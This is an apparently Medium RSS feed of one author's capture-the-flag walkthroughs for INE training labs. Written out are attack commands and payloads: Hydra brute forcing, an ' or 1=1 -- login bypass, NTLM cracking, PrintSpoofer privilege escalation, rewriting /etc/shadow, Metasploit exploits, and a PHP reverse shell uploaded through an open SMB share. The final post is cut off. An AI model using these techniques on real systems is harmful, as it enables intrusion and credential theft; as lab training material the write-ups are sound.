<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Singkhon K on Medium]]></title>
        <description><![CDATA[Stories by Singkhon K on Medium]]></description>
        <link>https://medium.com/@singkhon.k77?source=rss-aa7b114a03ce------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dufdFqLY6Z8oD26g9nmQlQ.jpeg</url>
            <title>Stories by Singkhon K on Medium</title>
            <link>https://medium.com/@singkhon.k77?source=rss-aa7b114a03ce------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 10:55:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@singkhon.k77/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[INE-Web Application Penetration Testing CTF 1 by Singkhon]]></title>
            <link>https://medium.com/@singkhon.k77/ine-web-application-penetration-testing-ctf-1-by-singkhon-5d0edafcc7ef?source=rss-aa7b114a03ce------2</link>
            <guid isPermaLink="false">https://medium.com/p/5d0edafcc7ef</guid>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Singkhon K]]></dc:creator>
            <pubDate>Fri, 27 Feb 2026 20:41:00 GMT</pubDate>
            <atom:updated>2026-02-27T20:41:00.254Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Hello, my name is Singkhon. After completing the eJPT course, I would like to share my methods and approaches for solving each CTF problem. If you have any questions or would like to contact me, please leave a comment below.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NtXZj-LT-suOsN53T2sBTQ.png" /></figure><p>Let’s get started.</p><h4>Q1.Sometimes, important files are hidden in plain sight. Check the root (‘/’) directory for a file named ‘flag.txt’ that might hold the key to the first flag.</h4><p>Our clue is to check the root directory for the first flag. First, let’s perform a scan with Nmap. Type nmap -sV -O target.ine.local .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*YRMj6-INBcUkkIIpdC-YSg.png" /></figure><p>The results show that only one service is currently running: an <strong>HTTP</strong> service using the <strong>Gunicorn</strong> version. You can verify the actual website by searching for target.ine.local in the Firefox browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8giHseorOSoFOqIh0ZJgVw.png" /></figure><p>As we see, there is a file viewer running on the site. let’s try to see a file by clicking View File button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ImFx0hL24Gp9FkLfI-F6pA.png" /></figure><p>After clicking the button, the website displays the content of file1.txt.<br> Interestingly, the URL changes to:/view_file?file=file1.txt</p><p>This indicates that the application reads files dynamically based on the file parameter.</p><p>Since the file name is directly controllable through the URL, we may be able to access other files by modifying the parameter value.</p><p>We know that flag1.txt is located in the root directory. Therefore, we attempt to change the URL to:/view_file?file=/flag1.txt</p><p>If the application does not properly validate user input, it will return the contents of the target file.</p><p>📍<strong>Note</strong>. This behavior suggests a potential <strong>Local File Inclusion</strong> (LFI) vulnerability, as the application does not restrict which files can be accessed through the file parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KBPbzqN2gXbEG5nBUMcvGg.png" /></figure><p>Now we see the first flag.</p><pre>FLAG1_f8a75b8f8e3c466cb1d4b2dc34e08425</pre><h4>Q2. Explore the structure of the server’s directories. Enumeration might reveal hidden treasures.</h4><p>We need to find hidden directories of the server by using <strong>Gobuster</strong> tool. Type the command gobuster dir -u <a href="http://target.ine.local/">http://target.ine.local</a> -w /usr/share/wordlists/dirb/common.txt . This command will search for directories using the provided word-lists.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*TQYkYf21TKlGnxNNvNP-oQ.png" /></figure><p>There’s a directory that looks suspicious: <strong>/secured</strong>. Let’s investigate. Type taget.ine.local/secured in the the Firefox browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*V9wyiw6LdwkSfJ-qUVon6w.png" /></figure><p>A flag file is shared on the server. We can view its contents by adding /secured/flag.txt to the end of the URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*Rvw3gWRL1pMxQHEqYm7mKg.png" /></figure><pre>FLAG2_fffabcc5c0e74f06a6f443b7c6631b49</pre><h4>Q3. The login form seems a bit weak. Trying out different combinations might just reveal the next flag.</h4><p>Based on the hint, we need to perform a brute-force attack against the login page. In this case, we will use the Hydra tool.</p><p>Type hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /root/Desktop/wordlists/100-common-passwords.txt target.ine.local http-post-form &quot;/login:username=^USER^&amp;password=^PASS^:Invalid username or password&quot; .</p><p>📍 <strong>Note:</strong><br> The -L option specifies the username wordlist, and -P specifies the password wordlist.</p><p>We use the http-post-form module because the login form submits credentials via HTTP POST.<br> The format for this module is:&quot;&lt;path&gt;:&lt;parameters&gt;:&lt;fail_condition&gt;&quot;<strong> .</strong></p><p>📍 <strong>Security Observation:</strong><br> The website does not implement any <strong>login attempt limitation</strong> or <strong>rate limiting</strong>. This makes it vulnerable to a <strong>brute-force attack</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L7iSPypiPPTBZLSboVO-AA.png" /></figure><p>Now that we have the credential, which are <strong>guest/butterfly1</strong>, let’s try logging in with these credential.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CuxviMVEznR43qzHBt9GpQ.png" /></figure><pre>FLAG3_96ffc5a9e8454cdf8c6c5245b50d83a4</pre><h4>Q4. The login form behaves oddly with unexpected inputs. Think of injection techniques to access the ‘admin’ account and find the flag.</h4><p>It is clear that the login form is vulnerable to SQL injection. Therefore, we attempt a basic SQL injection payload targeting the admin account.</p><p>In the <strong>Username</strong> field, we enter: &#39; or 1 = 1 -- and in the <strong>Password</strong> field, we enter any value (e.g., 1). Then we click the <strong>Log in</strong> button.</p><p>📍<strong>Note</strong>. Most login forms execute a query similar to: SELECT * FROM users WHERE username = &#39;&lt;username&gt;&#39; AND password = &#39;&lt;password&gt;&#39; <br>After injecting the payload, the query becomes: SELECT * FROM users WHERE username = &#39;<strong>&#39; OR 1=1-- </strong>&#39; AND password = &#39;<strong>1</strong>&#39; Because -- starts a comment in SQL, the remainder of the query is ignored.<br> As a result, the effective query becomes:SELECT * FROM users WHERE username = &#39; &#39; OR 1=1 <br>Since 1=1 is always true, the condition bypasses authentication and may grant access.</p><p>📍 <strong>Security Observation:</strong><br> This SQL injection vulnerability can be mitigated by using <strong>prepared statements (parameterized queries)</strong>, which prevent user input from being interpreted as part of the SQL command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*V8jbwHG5J6qnF-EcAVUBBQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*V5EQLN3t6Oz5H8CZbIfh3g.png" /></figure><pre>FLAG4_92624dd4107d40c08e509b2f185cffb5</pre><p>This may be a basic technique in web penetration testing CTF challenges, but it is an essential concept for beginners.</p><p>This marks the final write-up in my eJPT CTF series. I hope this series has helped you better understand fundamental techniques, methodologies, and the mindset of a penetration tester.</p><p>I truly enjoyed writing these write-ups, and I hope to see you again in the next series. Thank you for taking the time to read this.</p><h4>Happy hunting, and may the flags be with you.</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5d0edafcc7ef" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INE-Host & Network Penetration Testing: Post-Exploitation CTF 2 by Singkhon]]></title>
            <link>https://medium.com/@singkhon.k77/ine-host-network-penetration-testing-post-exploitation-ctf-2-by-singkhon-1d2cf1193a1e?source=rss-aa7b114a03ce------2</link>
            <guid isPermaLink="false">https://medium.com/p/1d2cf1193a1e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Singkhon K]]></dc:creator>
            <pubDate>Tue, 24 Feb 2026 20:41:57 GMT</pubDate>
            <atom:updated>2026-02-24T20:41:57.461Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>Hello, my name is Singkhon. After completing the eJPT course, I would like to share my methods and approaches for solving each CTF problem. If you have any questions or would like to contact me, please leave a comment below.</em></blockquote><p>Let’s get started.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*71rg8cOQ609X_OEizmeyBw.png" /></figure><h4>Q1. An insecure ssh user named alice lurks in the system.</h4><p>Based on the clues, we can target the SSH service using the Alice account. First, let’s perform a scan with Nmap.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*hAGAPo-sDwfUVfo6YueuWg.png" /></figure><p>There is an SSH service running on the target machine. We will use the Hydra tool to perform a brute-force attack by typing the command: hydra -l alice -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://target.ine.local .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*KicjMmeKNPAp97eaB_U7OQ.png" /></figure><p>Now that we know Alice’s account password, which is princess1, let’s log in to SSH using the credentials we just obtained. Type ssh alice@target.ine.localand then type princess1 for the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*oRLoTrnKJZhA4z5_tDs7uQ.png" /></figure><p>Type dir to list the files, then type cat flag1.txt to display the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/1*6fvVD3sCr--HfKohTDLAZg.png" /></figure><pre>flag1_2fa90a35652d48c1a3d093a4b2204667</pre><h4>Q2. Using the hashdump file discovered in the previous challenge, can you crack the hashes and compromise a user?</h4><p>From the previous challenge, we can see that there is a file named hashdump, which we can view by typing type hashdump.txt .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*qZ2z6kCHdF5iqGrvnwJ3IQ.png" /></figure><p>We can view the list of NTLM hashes of users, then copy the contents and paste them into a new text file named hashes.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*UoKiDMd57T6AYMLglAfXVg.png" /></figure><p>Next, we use a tool called John the Ripper to crack the NTLM hashes. This tool compares the hashes against a default wordlist to recover the plaintext passwords.</p><p>📍<strong>Note</strong>. <strong>NTLM (NT LAN Manager)</strong> is a Windows authentication protocol that uses hashed passwords instead of plaintext credentials to verify user identities.</p><p>Open a new terminal tap and type john --format=NT hashes.txt to start the tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*d8WWA8LyEUuA2JEDonMQWQ.png" /></figure><p>From the results, we now have a new credential: david/orange.</p><p>Next, we will use our credentials to log in via SSH by typing ssh david@target.ine.local and then orange for the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*ph669qyto_n7kfHUQQonBw.png" /></figure><p>We are in! Next, we can find the flags by typing dir and then using the command cat flag2.txt to display the flag contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*ZO3bvGsINXkUSNAXZ25AvA.png" /></figure><pre>flag2_50b1acd733504669a632ed08461d9f2a</pre><h4>Q3. Can you escalate privileges and read the flag in C://Windows//System32//config directory?</h4><p>It seems David has low privileges, So we need to escalate his privileges and get the third flag.</p><p>Check the current user’s privilege by typing whoami /priv .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*fVtyS39czKtz7LCQmHPDyw.png" /></figure><p>As we can see, the user david has the SeImpersonatePrivilege, which allows us to use the PrintSpoofer tool to escalate privileges.</p><p>First, we transfer the PrintSpoofer binary to the target machine using scp: scp /root/Desktop/PrintSpoofer64.exe david@target.ine.local:&quot;C:\\Users\\david&quot; . When prompted, we enter orange as the password.</p><p>📍<strong>Note</strong>. scp Secure Copy Protocol, used to securely transfer files between a local machine and a remote system over SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KywVbjOZKv0pMzsbWE3CCQ.png" /></figure><p>Next, we’ll use SSH to execute the tool through David’s account. Type PrintSpoofer64.exe -i -c cmd .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*WTKy2C0gG3kLQZpk6qu55g.png" /></figure><p>Now we have a new shell. Check the current user by typing whoami .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*zc7CGy7kU598pxS0g2bXhw.png" /></figure><p>We now have NT AUTHORITY\SYSTEM privileges, which represent the highest level of access on a Windows system. With this level of access, we can navigate to C:\Windows\System32\config and retrieve the flag values.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*FXTbhdj1mdE_x38PjVOf7Q.png" /></figure><pre>flag3_40db73de159a4943a7ce0f79446512cb</pre><h4>Q4. Looks like the flag present in the Administrator’s home denies direct access.</h4><p>Let’s try to access the /home/Administrator directory. Type cd /home/Administrator .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*s3SlCxgEdRcYkuCYJheXgw.png" /></figure><p>We cannot access the `flags` directory. In this case, we can check the ACL of the `flags` directory by typing icacls flag .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*zx891ITD5zNtD-jA55UIWA.png" /></figure><p>We observe that NT AUTHORITY\SYSTEM has a Deny access control rule applied, which prevents access to the directory. Since we have SYSTEM privileges, we can remove this rule to regain access.</p><p>📍<strong>Note. </strong>An explicit Deny ACL is applied to NT AUTHORITY\SYSTEM, preventing read and execute access. The rule is inherited by both files and subdirectories via (OI) and (CI).</p><p>Remove the rule by typing icacls flag /remove:d &quot;NT AUTHORITY\SYSTEM&quot; .</p><p>📍<strong>Note. </strong>/remove:d<br> Removes <strong>explicit Deny</strong> access control entries (ACEs).<br> The :d suffix specifies that only <em>Deny</em> rules are removed, leaving Allow rules unchanged.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*Wgzbs-MEG93Eno_xdMHqbA.png" /></figure><p>After deleting it, we will see that the rule has disappeared.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*HxDMx00wQXaTVPb_vr_zHg.png" /></figure><p>Now let’s look at the flags.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*MaT9mfN6hTqpJX7L5dQoIg.png" /></figure><pre>flag4_72fef5ce5a05457a9cca7f2c9fd34559</pre><p>This CTF mainly focuses on post-exploitation techniques in Windows systems. Throughout the challenge, we learned about privilege escalation, Deny ACLs (Deny ACEs), and NTLM hashing. I hope this write-up serves as a useful step-by-step walkthrough.</p><h4>Happy hunting, and may the flags be with you.</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1d2cf1193a1e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INE-Host & Network Penetration Testing: Post-Exploitation CTF 1 by Singkhon]]></title>
            <link>https://medium.com/@singkhon.k77/ine-host-network-penetration-testing-post-exploitation-ctf-1-by-singkhon-02794169c183?source=rss-aa7b114a03ce------2</link>
            <guid isPermaLink="false">https://medium.com/p/02794169c183</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Singkhon K]]></dc:creator>
            <pubDate>Mon, 23 Feb 2026 21:37:02 GMT</pubDate>
            <atom:updated>2026-02-23T21:37:02.812Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Hello, my name is Singkhon. After completing the eJPT course, I would like to share my methods and approaches for solving each CTF problem. If you have any questions or would like to contact me, please leave a comment below.</blockquote><p>Let’s get started.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M9_upwFuMzcMEuGFU1-XnA.png" /></figure><h4><strong>Q1. The file that stores user account details is worth a closer look. (target1.ine.local)</strong></h4><p>Our goal is to identify the user account file, which on Linux systems is typically the /etc/paswd file. However, before attempting to access it, we must first identify a vulnerable service to exploit. Therefore, we begin by performing an Nmap scan against Target 1.</p><p>Type nmap -sV -sC target1.ine.local .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*_8lRTSTOQ9Wz3Z1wQSAw9A.png" /></figure><p>From the results, we found that there is only one service currently running: <strong>libssh version 0.8.3</strong>. Next, we can use <strong>Metasploit Framework</strong> to check for vulnerabilities in this service.</p><p>Type msfconsole to start the <strong>Metasploit Framework</strong> and then type search libssh to find modules related to the service name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*Y6ztqzRIFyjuMh_vG8N6zQ.png" /></figure><p>We found only one module. We can check if this module is supported by our service version by typing use 0 to use the module and info to display its information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*oB69qWG0sMGamti1BRfV_g.png" /></figure><p>This module supports the target service, which is running version <strong>0.8.3</strong>. Therefore, the module can be used for exploitation. From the module options, we set RHOSTS to target1 and enable SPAWN_PTY to obtain an interactive shell after exploitation. Then type run .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*tnB3xFSF4aZed2qZ4zDeLg.png" /></figure><p>A shell session has been created. We can activate the sessions by typing sessions 1 and then typing cat //etc//passwd to see the password file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*_TIyB5ccbdKCOG0UfFJG3Q.png" /></figure><pre>FLAG1_4c805ad6b9d44a90b0b52c092cf7a1a6</pre><h4>Q2. User groups might reveal more than you expect.</h4><p>Next, we need to look at the user group file, which is typically /etc/group .<br>Type cat //etc//group .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*z2ASwDE0bwUQ9RXL-XaT6g.png" /></figure><pre>FLAG2_ec3c36bbe28942968b9185b999afe88a</pre><h4>Q3. Scheduled tasks often have telling names. Investigate the cron jobs to uncover the secret.</h4><p>From the hint, we need to look at the <strong>cron job</strong> files, which are typically located in the/etc/cron.d directory.</p><p>Type cd //etc//cron.d , then type ls to list the files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*dIOQDJHJdXtv0KQNSuVBNw.png" /></figure><pre>FLAG3_d8e04fb4d7be4d619a92e6da85ac312b</pre><h4>Q4. DNS configurations might point you in the right direction. Also, explore the home directories for stored credentials.</h4><p>Next, we need to check the <strong>DNS</strong> file which is typically /etc/hosts file by typing cat //etc//hosts .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*78bLXMW_CdbKq6JneByQ_w.png" /></figure><pre>FLAG4_6fa8af15c21c474398485616191a916d</pre><p>Additionally, we need to check the home directory for credentials, which may be useful later.</p><p>Navigate to the home directory by running cd /home, then list its contents using ls. A user directory is present, which can be accessed by running cd user followed by ls.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/271/1*KlA6YXsbYGUGgrqC-oUFKA.png" /></figure><p>Inside the directory, a file named credentials.txt is found. Display its contents by executing cat credentials.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/1*hJVyyQ0pVkOFiPUhUpnYGQ.png" /></figure><p>Now we have the credential, which is ‘<strong>john:Pass@john123</strong>’.</p><h4>Q5. Use the discovered credentials to gain higher privileges and explore the root’s home directory on target2.ine.local.</h4><p>Now let’s focus on target2. We need to gain lower privileges using John’s credentials first, and then upgrade those privileges. First, we’ll start by scanning target2 with Nmap.</p><p>Type nmap -sV -O target2.ine.local .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*inPTow9RRVghExP30gtOgw.png" /></figure><p>The result is that the <strong>SSH service</strong> is enabled. Let’s start using SSH with <strong>John’s credentials</strong>. Type ssh john@target2.ine.local , answer yes , and type Pass@john123 for the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*DawXJL-TQ5RcP5eXndWf3g.png" /></figure><p>Next, use the following command find / -not -type l -perm -o+w the command will <strong>look for files</strong> (and not symlink etc) <strong>that are writable.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*IgAVMij29LbmoGzxrz09Vg.png" /></figure><p>From the results, we found that the /etc/shadow file is writable, which may be due to incorrect settings by administrator. Check its contents by typing ls -l /etc/shadow and cat /etc/shadow .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*Fty5f5iA1FsWs5TqkSjNMQ.png" /></figure><p>Observe that the root password is not set. Adding a known password in the shadow file can escalate to root. Use <strong>OpenSSL</strong> to generate a password entry.</p><p>Type openssl passwd -1 -salt abc password .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*lUFIIfvFwI3I8-AStbw7tA.png" /></figure><p>📍<strong>Note</strong>. option breakdown</p><ul><li><strong>openssl</strong>The OpenSSL toolkit, used for cryptographic functions.</li><li><strong>passwd</strong>A subcommand used to generate encrypted (hashed) passwords.</li><li><strong>-1</strong> Specifies the <strong>MD5-crypt</strong> hashing algorithm.</li><li><strong>-salt abc </strong>Sets the salt value to abc.</li><li><strong>password </strong>The plaintext password that will be hashed.</li></ul><p>Copy the <strong>generated entry</strong> and add it to the root record in <strong>/etc/shadow</strong></p><p>Type nano /etc/shadow and then paste the generated entry by pressing Ctrl + Shift + V . Save and exit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*kabnjM8Xut5jxpSwckYcCQ.png" /></figure><p>After making the changes, try to switch to the root user by typing su and then typing password for password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*_hUzlsSkvCwRCW8hcBVaSA.png" /></figure><p>We can check the current user by typing whoami .</p><p>Now we can locate the flag file, which might be in the /root directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*MwPWB0IZw2GZ5Siy7sbvog.png" /></figure><pre>FLAG5_6c164bcaab2042598b070a8f50714b44</pre><p>In this CTF, we focused on post-exploitation techniques on a Linux target. We learned how to escalate privileges and became familiar with important system files such as /etc/shadow, /etc/passwd, and cron configuration files. I hope this write-up is useful as a step-by-step walkthrough for you.</p><h4>Happy hunting, and may the flags be with you.</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=02794169c183" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INE-Host & Network Penetration Testing: Exploitation CTF 3 by Singkhon]]></title>
            <link>https://medium.com/@singkhon.k77/ine-host-network-penetration-testing-exploitation-ctf-3-by-singkhon-dce7ccd3c278?source=rss-aa7b114a03ce------2</link>
            <guid isPermaLink="false">https://medium.com/p/dce7ccd3c278</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Singkhon K]]></dc:creator>
            <pubDate>Sun, 22 Feb 2026 22:08:15 GMT</pubDate>
            <atom:updated>2026-02-23T18:45:46.065Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Hello, my name is Singkhon. After completing the eJPT course, I would like to share my methods and approaches for solving each CTF problem. If you have any questions or would like to contact me, please leave a comment below.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nl_BJodw7WPLu4i0l7N_Mg.png" /></figure><h4><strong>Q1. A vulnerable service maybe running on target1.ine.local. If exploitable, retrieve the flag from the root directory.</strong></h4><p>From the hint we just know that there is a vulnerable service running on target1. Let’s find out. First and foremost, let’s perform <strong>Nmap</strong> scan by typing nmap -sV -sC -O target.ine.local .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*BL8SjITMBplWmbXycSgMWQ.png" /></figure><p>From the results, we can see that two services are running on the target system: <strong>FTP and HTTP</strong>. Let’s look at HTTP service first.</p><p>Open the<strong> Firefox browser</strong> and go to target1.ine.local .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aJ55HyFXLjETzdgbu51wNw.png" /></figure><p>It seems there’s nothing here except the Apache2 default page, which tells us where the <strong>Apache HTTP server</strong> is installed. So let’s shift our focus to the <strong>FTP service</strong> instead.</p><p>The <strong>FTP service is version 1.3.5</strong>. We can use <strong>Searchsploit</strong> to check if this service is vulnerable. Type searchsploit proftpd .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*asMSy9akrxoSiLiDkm5FXA.png" /></figure><p>From the results, it seems indeed vulnerable. One of them uses <strong>Metasploit Framework</strong>, so I’ll switch to Metasploit Framework and start the attack.</p><p>Start the Metasploit Framework by typing msfconsole -q then search for the service by typing search proftpd 1.3.5 , and then type use 0 .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*o1rjObaumY3iCM2__TzNng.png" /></figure><p>Type show options to see the options required for running the module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*Z6ECH6gVt13HC-oJa-M8jA.png" /></figure><p>📍<strong>Note</strong>. This module exploits an unauthenticated file copy vulnerability in ProFTPD 1.3.5 (mod_copy), allowing attackers to copy arbitrary files to attacker-controlled locations, potentially leading to remote code execution.</p><p>The combination of an insecure <strong>FTP service</strong> and an active <strong>Apache2</strong> web server allows us to copy a <strong>malicious payload</strong> to a web-accessible location and execute it, resulting in a <strong>reverse shell</strong>.</p><p>As we know from the <strong>Apache2 default page</strong> where the website path is located, we will set the option with the following command: <br>set SITEPATH /var/www/html<br>set RHOSTS target1.ine.local<br> set LHOST 192.136.64.2 <br>then type run .</p><p><strong>📍Note</strong>. For the LHOST option, enter your IPv4 address by typing ip a and look for the eth1 interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*JsGBZhllyBxmx2o0dMj-Wg.png" /></figure><p>Now the command shell session was created. Type sessions 1 to open the shell. Then type cat /flag1.txt to show flag1 from the root directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*RqUhtRe5P8jYzvxmYcF08w.png" /></figure><pre>FLAG1{a0f11ed48daa4c20b69dafd01813732e}</pre><h4><strong>Q2. Further, a quick interaction with a local network service on target1.ine.local may reveal this flag. Use the hint given in the previous flag.</strong></h4><p>From the previous challenge, we have a new clue: ‘<strong>letmein</strong>’, which might be a password for something. Now we need to check target1’s local network services. Type netstat -tuln 127.0.0.1 to view them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*HKodM6dJbTYYCbkL-yTW9A.png" /></figure><p>📍<strong>Note. </strong>the netstat -tuln command is used to identify active listening services and open ports on the target system.</p><p>From the results, the target is listening for a connection on port 8888. Try connecting using <strong>Netcat</strong>. Type nc 127.0.0.1 8888 and then type ‘<strong>letmein</strong>’ for the password.</p><p>📍<strong>Note</strong>. Netcat is a networking utility used to create TCP/UDP connections for testing services, transferring data, and handling reverse shells.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*QvzsYAmiGyJBkqc0wJtqiA.png" /></figure><p>Now we see the second flag.</p><pre>FLAG2{f6ce7137502b4fdebd88daa702c28b83}</pre><h4><strong>Q3. A misconfigured service running on target2.ine.local may help you gain access to the machine. Can you retrieve the flag from the root directory?</strong></h4><p>We know there are incorrectly configured services running on Target 2. First, let’s perform a scan with <strong>Nmap</strong>. Type nmap -sC -sV -O target2.ine.local .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*PwYKC4LJVacNIK_FNYh0rg.png" /></figure><p>The results show that <strong>HTTP</strong> and <strong>SMB</strong> are running on the target server. Let’s check the SMB service first.</p><p>View the list of <strong>sharename</strong> by typing smbclient -L //target2.ine.local -N .This command will display a list of shares with the <strong>anonymous</strong> user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*gjILwrKbhYHdQRMUJ8WxMg.png" /></figure><p>Try connecting to the ‘site-uploads’ sharename. Type smbclient //target2.ine.local/site-uploads -N .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*drbpcJl2-gNkCqNk8pvn5A.png" /></figure><p>It seems the administrator has <strong>misconfigured</strong> this share, so we could use this share to upload malicious files. Now, let’s prepare the<strong> reverse shell file</strong>.</p><p>Open new terminal tab and type cp /usr/share/webshells/php/php-reverse-shell.php . to copy file to current working directory. <br>Type nano php-reverse-shell.php to start editing the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*p-y3EwNhF0gpyhjxYBmv2A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*i3aM-NnBBD6YtxQHDkxXRg.png" /></figure><p>We need to replace `$ip` with our IP address, and we can leave `$port` as is or change it to any available port. Save the file, and it will be ready to use.</p><p>Go back to our <strong>SMB</strong> tab and type put php-reverse-shell.php to upload the file to target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*ZxfiUVtG9DmVuurE4fDqhw.png" /></figure><p>Use an empty tab to start <strong>Netcat</strong> by typing nc -lvnp 1234. Netcat will continuously listen for connections back to port 1234.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/334/1*fDnFAjEPXXn8z0RZfenffw.png" /></figure><p>Open the Firefox browser and go to target2.ine.locl/site-uploads/php-reverse-shell.php .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*PmGqp3TB8XBH9YIUI8LbTg.png" /></figure><p>When the file is executed, it calls back to the listener and receives the shell. Go back to the <strong>Netcat</strong> 